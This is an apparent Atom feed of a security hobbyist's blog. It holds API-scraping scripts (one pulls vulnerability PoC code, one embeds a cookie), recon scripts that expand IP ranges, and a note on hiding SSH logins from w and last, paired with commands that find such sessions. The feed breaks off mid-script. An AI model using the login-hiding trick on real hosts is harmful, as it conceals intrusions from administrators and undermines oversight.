<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>0o0o0丶Blog</title>
  
  <subtitle>0o0o0o0o0o0o0o0o0o0</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://10o0.github.io/"/>
  <updated>2018-10-17T02:54:24.888Z</updated>
  <id>https://10o0.github.io/</id>
  
  <author>
    <name>0o0</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Bugcloud-POC</title>
    <link href="https://10o0.github.io/2018/10/17/Bugcloud-POC/"/>
    <id>https://10o0.github.io/2018/10/17/Bugcloud-POC/</id>
    <published>2018-10-17T02:54:22.000Z</published>
    <updated>2018-10-17T02:54:24.888Z</updated>
    
    <content type="html"><![CDATA[<p>Bugcloud-POC</p><figure class="highlight python"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">Created on Sat Apr 28 15:52:59 2018</span></span><br><span class="line"><span class="string">@author: root</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">'accept'</span>: <span class="string">'application/json, text/plain, */*'</span>,</span><br><span class="line">    <span class="string">'Host'</span>: <span class="string">'192.168.****'</span>,</span><br><span class="line">    <span class="string">'Referer'</span>: <span class="string">'http://192.168.****/'</span>,</span><br><span class="line">    <span class="string">'cookie'</span>: <span class="string">'****'</span>,</span><br><span class="line">    <span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0'</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_page</span><span class="params">(url)</span>:</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = requests.get(url, headers=headers)</span><br><span class="line">        <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">            <span class="keyword">return</span> response.json()</span><br><span class="line">    <span class="keyword">except</span> requests.ConnectionError <span class="keyword">as</span> e:</span><br><span class="line">        print(<span class="string">'Error'</span>, e.args)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">mkdir</span><span class="params">(path)</span>:</span></span><br><span class="line">    <span class="keyword">import</span> os</span><br><span class="line">    <span class="comment"># 去除首位空格</span></span><br><span class="line">    path = path.strip()</span><br><span class="line">    <span class="comment"># 去除尾部 \ 符号</span></span><br><span class="line">    path = path.rstrip(<span class="string">"\\"</span>)</span><br><span class="line">    <span class="comment"># 判断路径是否存在</span></span><br><span class="line">    <span class="comment"># 存在     True</span></span><br><span class="line">    <span class="comment"># 不存在   False</span></span><br><span class="line">    isExists = os.path.exists(path)</span><br><span class="line">    <span class="comment"># 判断结果</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> isExists:</span><br><span class="line">        os.makedirs(path)</span><br><span class="line">        print(<span class="string">"OK"</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">"False"</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">False</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">validateTitle</span><span class="params">(title)</span>:</span></span><br><span class="line">    rstr = <span class="string">r"[\/\\\:\*\?\"\&lt;\&gt;\|]"</span>  <span class="comment"># '/ \ : * ? " &lt; &gt; |'</span></span><br><span class="line">    new_title = re.sub(rstr, <span class="string">"_"</span>, title)  <span class="comment"># 替换为下划线</span></span><br><span class="line">    <span class="keyword">return</span> new_title</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">savefile</span><span class="params">(atype,aname,bugname,bugcode)</span>:</span></span><br><span class="line">    file = os.path.join(atype,aname)</span><br><span class="line">    mkdir(file)</span><br><span class="line">    file = file + <span class="string">'\\'</span></span><br><span class="line">    print(file)</span><br><span class="line">    <span class="keyword">with</span> open(file + bugname, <span class="string">'a+'</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(bugcode)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    page = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> (<span class="number">1</span>):</span><br><span class="line">        page = page + <span class="number">1</span></span><br><span class="line">        url = <span class="string">"http://192.168.****/cloud/pluginvuln/?page="</span> + str(page)</span><br><span class="line">        print(url)</span><br><span class="line">        time.sleep(random.randint(<span class="number">1</span>,<span class="number">10</span>))</span><br><span class="line">        json_dict = get_page(url)</span><br><span class="line"><span class="comment">#        print(json_dict)</span></span><br><span class="line">        items = json_dict[<span class="string">'results'</span>]</span><br><span class="line">        <span class="keyword">for</span> item <span class="keyword">in</span> items:</span><br><span class="line">            title = item[<span class="string">'plugin'</span>][<span class="string">'title'</span>]</span><br><span class="line">            code = item[<span class="string">'plugin'</span>][<span class="string">'source_code'</span>]</span><br><span class="line">            type = item[<span class="string">'vtype'</span>]</span><br><span class="line">            appname = item[<span class="string">'fp_app_name'</span>]</span><br><span class="line">            newtitle = validateTitle(title)</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                savefile(str(type),str(appname),str(newtitle),code)</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                cotent = str(type) + str(appname) + str(newtitle)</span><br><span class="line">                <span class="keyword">with</span> open(<span class="string">"error.txt"</span>, <span class="string">'a+'</span>) <span class="keyword">as</span> f:</span><br><span class="line">                    f.write(cotent)</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            print(title,type,appname)</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;Bugcloud-POC&lt;/p&gt;
&lt;figure class=&quot;highlight python&quot;&gt;&lt;figcaption&gt;&lt;span&gt;[] [centos_shell]&lt;/span&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;p
      
    
    </summary>
    
      <category term="python" scheme="https://10o0.github.io/categories/python/"/>
    
    
      <category term="json" scheme="https://10o0.github.io/tags/json/"/>
    
      <category term="python" scheme="https://10o0.github.io/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>xiaoxiaofuli</title>
    <link href="https://10o0.github.io/2018/10/17/xiaoxiaofulli/"/>
    <id>https://10o0.github.io/2018/10/17/xiaoxiaofulli/</id>
    <published>2018-10-17T02:33:20.000Z</published>
    <updated>2018-10-17T02:38:07.708Z</updated>
    
    <content type="html"><![CDATA[<p>APK–API<br><figure class="highlight python"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">Created on Sat Apr 28 15:52:59 2018</span></span><br><span class="line"><span class="string">@author: root</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">'Accept-Language'</span>: <span class="string">'zh-CN,zh;q=0.8'</span>,</span><br><span class="line">    <span class="string">'Host'</span>: <span class="string">'www.js.baidu.com.ylgsrnzxlxpyb9cenfdfef6g.com'</span>,</span><br><span class="line">    <span class="string">'Accept-Encoding'</span>: <span class="string">'gzip'</span>,</span><br><span class="line">    <span class="string">'cookie'</span>: <span class="string">'__cfduid=dbc9ff34639e222aa9cc0eb395de4d41b1539066777'</span>,</span><br><span class="line">    <span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0'</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_page</span><span class="params">(url)</span>:</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = requests.get(url, headers=headers)</span><br><span class="line">        <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">            <span class="keyword">return</span> response.json()</span><br><span class="line">    <span class="keyword">except</span> requests.ConnectionError <span class="keyword">as</span> e:</span><br><span class="line">        print(<span class="string">'Error'</span>, e.args)</span><br><span class="line">        </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    page = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> (<span class="number">1</span>):</span><br><span class="line">        url = <span class="string">"http://www.js.baidu.com.ylgsrnzxlxpyb9cenfdfef6g.com/api/public/?service=Video.getNearby&amp;uid=-1&amp;lng=0.0&amp;lat=0.0&amp;p="</span> + str(page)</span><br><span class="line"><span class="comment">#        print(url)</span></span><br><span class="line">        time.sleep(random.randint(<span class="number">1</span>,<span class="number">10</span>))</span><br><span class="line">        json_dict = get_page(url)</span><br><span class="line">        print(page)</span><br><span class="line">        page = page + <span class="number">1</span>       </span><br><span class="line"><span class="comment">#        print(json_dict)</span></span><br><span class="line">        items = json_dict[<span class="string">'data'</span>][<span class="string">'info'</span>]</span><br><span class="line">        <span class="keyword">for</span> item <span class="keyword">in</span> items:</span><br><span class="line">            uid = item[<span class="string">'uid'</span>]</span><br><span class="line">            href = item[<span class="string">'href'</span>]</span><br><span class="line">            <span class="keyword">with</span> open(<span class="string">"urlaaaaa.txt"</span>, <span class="string">'a+'</span>) <span class="keyword">as</span> f:</span><br><span class="line">                f.write(href)</span><br><span class="line">            <span class="keyword">continue</span></span><br></pre></td></tr></table></figure></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;APK–API&lt;br&gt;&lt;figure class=&quot;highlight python&quot;&gt;&lt;figcaption&gt;&lt;span&gt;[] [centos_shell]&lt;/span&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;sp
      
    
    </summary>
    
      <category term="python" scheme="https://10o0.github.io/categories/python/"/>
    
    
      <category term="json" scheme="https://10o0.github.io/tags/json/"/>
    
      <category term="python" scheme="https://10o0.github.io/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>SSH login history Hide</title>
    <link href="https://10o0.github.io/2018/09/07/ssh_login_hide/"/>
    <id>https://10o0.github.io/2018/09/07/ssh_login_hide/</id>
    <published>2018-09-07T09:08:30.000Z</published>
    <updated>2018-09-07T09:24:08.759Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>w和last命令内不显示登录痕迹</p></blockquote><pre><code>ssh -lroot 127.0.0.1 /usr/bin/bash  #登录之后直接调用bashssh -lroot 127.0.0.1 /usr/bin/ls   #登录之后直接调用命令ssh -T root@127.0.0.1 /usr/bin/bash -i  # -T表示不分配伪终端 -i表示是交互式shell</code></pre><blockquote><p>查找登录痕迹</p></blockquote><pre><code>lsof -i:22 | grep ESTps -ef | grep ssh</code></pre><blockquote><p>历史痕迹：</p></blockquote><pre><code>/var/log/secure/var/log/auth.log</code></pre>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;w和last命令内不显示登录痕迹&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;ssh -lroot 127.0.0.1 /usr/bin/bash  #登录之后直接调用bash

ssh -lroot 127.0.0.1 /usr/b
      
    
    </summary>
    
      <category term="笔记" scheme="https://10o0.github.io/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="ssh" scheme="https://10o0.github.io/tags/ssh/"/>
    
  </entry>
  
  <entry>
    <title>互联网资产搜集思路&lt;更新中...&gt;</title>
    <link href="https://10o0.github.io/2018/09/04/%E4%BA%92%E8%81%94%E7%BD%91%E8%B5%84%E4%BA%A7%E6%90%9C%E9%9B%86%E6%80%9D%E8%B7%AF/"/>
    <id>https://10o0.github.io/2018/09/04/互联网资产搜集思路/</id>
    <published>2018-09-04T06:39:24.000Z</published>
    <updated>2018-09-04T09:01:35.160Z</updated>
    
    <content type="html"><![CDATA[<p>给定域名、部分IP：</p><p>整理成C段IP，</p><figure class="highlight python"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="comment">#exp:192.168.1.1  &gt;&gt;&gt;  192.168.1.0/24</span></span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"> </span><br><span class="line"><span class="comment"># def cleanCLRFspace(content):</span></span><br><span class="line"><span class="comment"># noCLContext = content.replace('\n','')</span></span><br><span class="line"><span class="comment"># noSpaceCLRFcontext = noCLContext.strip()</span></span><br><span class="line"><span class="comment"># return noSpaceCLRFcontext</span></span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">readFile</span><span class="params">()</span>:</span></span><br><span class="line">ipf = open(<span class="string">'./content.txt'</span>,<span class="string">'r'</span>)</span><br><span class="line"><span class="keyword">return</span> ipf</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getLineIP</span><span class="params">(ipf)</span>:</span></span><br><span class="line">ipList = set()</span><br><span class="line">texts = ipf.readlines()</span><br><span class="line"><span class="keyword">for</span> text <span class="keyword">in</span> texts:</span><br><span class="line">ips = re.findall(<span class="string">r'\d+\.\d+?\.\d+?\.\d+?'</span>,text)</span><br><span class="line"><span class="keyword">for</span> ip <span class="keyword">in</span> ips:</span><br><span class="line">ipList.add(ip)</span><br><span class="line"><span class="keyword">return</span> ipList</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ip2c</span><span class="params">(ipNoDup)</span>:</span></span><br><span class="line">ipset = set()</span><br><span class="line"><span class="keyword">for</span> ip <span class="keyword">in</span> ipNoDup:</span><br><span class="line">ipset.add(re.findall(<span class="string">r'\d+?\.\d+?\.\d+?\.'</span>,ip)[<span class="number">0</span>] + <span class="string">'0/24'</span>)</span><br><span class="line">iplist = list(ipset)</span><br><span class="line">iplist.sort()</span><br><span class="line"><span class="keyword">return</span> iplist</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">saveContext</span><span class="params">(s)</span>:</span></span><br><span class="line">wfile = open(<span class="string">'./result.txt'</span>,<span class="string">'w'</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> s:</span><br><span class="line">wfile.write(i+<span class="string">'\n'</span>)</span><br><span class="line">wfile.close()</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">ipf = readFile()</span><br><span class="line">ipList = getLineIP(ipf)</span><br><span class="line">iplist = ip2c(ipList)</span><br><span class="line">saveContext(iplist)</span><br></pre></td></tr></table></figure><a id="more"></a><figure class="highlight shell"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">!/bin/bash</span></span><br><span class="line"><span class="meta">#</span><span class="bash">使用方法：./*.sh Cip.txt</span></span><br><span class="line"><span class="meta">#</span><span class="bash">备注：192.168.1.0/24  &gt;&gt;&gt; 192.168.1.0-192.168.1.254  范围IP</span></span><br><span class="line">while read IPRANGE</span><br><span class="line">do</span><br><span class="line">    IP_FILE_NAME=$(echo $IPRANGE | cut -d/ -f1)</span><br><span class="line">    IP_1="$(echo $IPRANGE | cut -d"." -f1-2)."</span><br><span class="line">    IP_3="$(echo $IPRANGE | cut -d"." -f3)"</span><br><span class="line">    MAX_IP_3="$(sipcalc $IPRANGE | awk -F. '/Usable range/&#123;print $6&#125;')"</span><br><span class="line">    for i in $(seq $IP_3 $MAX_IP_3)</span><br><span class="line">    do</span><br><span class="line">        for j in $(seq 1 254)</span><br><span class="line">            do</span><br><span class="line">                echo "$&#123;IP_1&#125;$&#123;i&#125;.$&#123;j&#125;" &gt;&gt;results.txt</span><br><span class="line">            done</span><br><span class="line">    done</span><br><span class="line">done &lt; $1</span><br></pre></td></tr></table></figure><p>一步到位：<br><figure class="highlight shell"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">!/bin/bash</span></span><br><span class="line"><span class="meta">#</span><span class="bash">Desc:根据起始IP和结束IP输出IP信息</span></span><br><span class="line"><span class="meta">#</span><span class="bash">Usage:./iprange.sh IP.txt</span></span><br><span class="line"><span class="meta">#</span><span class="bash">notepad++去重：  ^(.*?)$\s+?^(?=.*^\1$)   操作方法如下，快捷键Ctrl+H，在弹出的界面输入表达式，并勾选匹配新行。</span></span><br><span class="line"><span class="meta">#</span><span class="bash">换行处理否则报错    /r/n     /r   全部替换为 /n</span></span><br><span class="line"></span><br><span class="line">while read line0</span><br><span class="line">do</span><br><span class="line"><span class="meta">#</span><span class="bash"><span class="built_in">echo</span> <span class="variable">$line1</span></span></span><br><span class="line">awk -F $line1  "-" '&#123;print $1,$2&#125;' | while read IPA IPB</span><br><span class="line">do</span><br><span class="line"> </span><br><span class="line">IPA1=`echo $IPA | awk -F '.' '&#123;print $1&#125;'`          </span><br><span class="line">IPA2=`echo $IPA | awk -F '.' '&#123;print $2&#125;'`          </span><br><span class="line">IPA3=`echo $IPA | awk -F '.' '&#123;print $3&#125;'`          </span><br><span class="line">IPA4=`echo $IPA | awk -F '.' '&#123;print $4&#125;'`          </span><br><span class="line">  </span><br><span class="line">IPB1=`echo $IPB | awk -F '.' '&#123;print $1&#125;'`          </span><br><span class="line">IPB2=`echo $IPB | awk -F '.' '&#123;print $2&#125;'`          </span><br><span class="line">IPB3=`echo $IPB | awk -F '.' '&#123;print $3&#125;'`          </span><br><span class="line">IPB4=`echo $IPB | awk -F '.' '&#123;print $4&#125;'`          </span><br><span class="line"></span><br><span class="line">IP4_not_equal()&#123;</span><br><span class="line">for i in `eval echo &#123;$IPA4..$IPB4&#125;`</span><br><span class="line">do</span><br><span class="line">echo $IPA1.$IPA2.$IPA3.$i</span><br><span class="line">done</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">IP3_not_equal () &#123;</span><br><span class="line">for i in  `eval echo &#123;$IPA3..$IPB3&#125;`</span><br><span class="line">do</span><br><span class="line">if [[ $i = $IPA3 ]]</span><br><span class="line">then</span><br><span class="line">eval echo   "192.168.$i.&#123;$IPA4..255&#125;" |xargs -n 1</span><br><span class="line">elif [[ $i = $IPB3 ]]</span><br><span class="line">then</span><br><span class="line">eval echo   "192.168.$i.&#123;1..$IPB4&#125;" |xargs -n 1</span><br><span class="line">else</span><br><span class="line">eval echo  "192.168.$i.&#123;1..255&#125;" | xargs -n 1</span><br><span class="line">fi</span><br><span class="line">done</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">IP2_not_equal()&#123;</span><br><span class="line"><span class="meta">#</span><span class="bash">第二段的变化范围</span></span><br><span class="line">for n in `eval echo &#123;$IPA2..$IPB2&#125;`</span><br><span class="line">do</span><br><span class="line">#如果第二段与IPA的第二段相同</span><br><span class="line">if [ $n = $IPA2 ] </span><br><span class="line">then  </span><br><span class="line">#第三段的变化范围为IPA3到255 </span><br><span class="line">for m in `eval echo &#123;$IPA3..255&#125;`</span><br><span class="line">do</span><br><span class="line">#如果第三段与IPA的第三段相同</span><br><span class="line">if [[ $m = $IPA3 ]]</span><br><span class="line">then</span><br><span class="line">eval echo "$IPA1.$IPA2.$IPA3.&#123;$IPA4..255&#125;" | xargs -n 1</span><br><span class="line">else</span><br><span class="line">eval echo "$IPA1.$IPA2.$m.&#123;1..255&#125;" | xargs -n 1</span><br><span class="line">fi</span><br><span class="line">done</span><br><span class="line">#如果第三段与IPB的第三段相同</span><br><span class="line">elif [ $n = $IPB2 ]</span><br><span class="line">then</span><br><span 